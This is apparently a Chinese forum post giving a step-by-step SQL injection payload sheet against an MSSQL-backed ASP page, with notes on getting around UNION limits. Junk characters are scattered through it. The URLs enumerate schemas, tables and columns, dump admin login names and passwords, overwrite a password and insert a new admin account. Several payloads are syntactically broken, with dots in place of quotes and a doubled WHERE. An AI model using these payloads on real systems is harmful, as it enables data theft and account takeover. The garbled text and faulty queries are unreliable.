爆库:3 R5 B0 Y/ s% B/ w3 {2 ]% }4 L5 s
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
( |, [- G7 B0 ]( |. lSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.4 ~; v2 L, r3 b8 ~
爆下一个库:
1 S4 v. g Q4 S4 S# O# t7 j' Zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
' Z. }" Y2 r4 x& a& D7 E* b) G
4 u4 W" a. p* I# ?) `3 ~0 V: j爆表:
1 i4 a s2 p) i# C! Z2 ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
; ]! l# i% O9 A4 x' b& F# D- u0 b: @! u6 h4 ?* J) X4 w
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES. }% \+ p) n; Y# U, O
$ Y) E7 p- o6 t. m$ }
爆下一个表
( N8 ?! a3 I5 _http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
$ _) w+ F7 z ?* q/ v3 B3 v: b0 M3 O' ?* z" q0 W/ ^2 T6 R ~
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--: u6 G4 x8 l, }% D |7 `
8 j! w" P3 Z N5 z9 w8 ?7 n
" Z k# ]* W( D8 s# X2 }
+ ]2 J; y! y) [, t5 v$ F
爆字段:
' I3 a* V. \/ G- `; K4 Mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--. ]5 b5 c8 T, V! Q
. d7 R) W7 D6 ]! ?, }! {
爆下一个字段( W7 [; c, e6 W4 a
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
, s2 r" w! H V1 I5 c! x9 T, G& D! F! Q$ v7 `+ N5 O
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
2 X" h" C: O7 Z" J7 k) Y/ b
& d* q2 K( n; T" t2 g; O
' N) A- A3 i: Y) l. M( A爆字段里的内容2 P# x9 i1 p c5 u& g" M. Y
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
% u: k; \1 B% r, z
2 F* K* W( i7 ?" O2 {, ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--9 }3 ~- `" k( p/ J1 ^. L' i$ I
$ n5 N( b5 j H9 E: Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--5 l8 p2 I% s/ a8 `' |
$ F: L0 c5 V, M, u3 ]) `& \
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--8 Y" W% H. I7 L' q
- b9 ?8 L7 U* i$ q/ m. q+ p更新字段里的内容
6 ]0 ~# [! H7 Q T. w+ Ehttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--" z& U+ E' X, @* F
- k2 F1 Z1 {. h$ F; M
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--' _$ M v+ b+ {& w6 ~
; S- N/ Z# |$ T, a+ P5 F- O; U
4 E! ^( Q" H0 {& E3 t: t5 Z7 T" L; R" c0 d4 P
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
- @8 f+ x& |& `' Y( H6 a6 q 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。& r1 n8 V9 }+ c8 Z
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。; J6 w, O0 P$ ]+ i( O
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。! P) P" @% P+ ~7 T$ P+ T& l# I. u
5 r, B5 @# i2 g I& o突了了大部份限制的语句9 z4 `8 v) n# v) D3 M7 `
and 1=2 union all select char(49),char(50),null,null;--
; ]$ K2 m. V8 ?# h5 `" p* n8 n# P6 K) K4 ?" T' n9 p& k9 t
- c" t6 K3 C7 ]8 ?5 r
null也可以正常执行,不过没有回显,不好判断回显的列数。
# q" o8 H# e, ?一般union遇到问题都是有text或者ntext字段,image的很少遇到; N( |( w( a! v, V5 }; m
; c& |/ u' b% a( P+ T* _
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟, }" ], O8 s1 E* L
, ?$ @4 o# v( H, f! `& C
/ w. p" U0 p: P1 K
|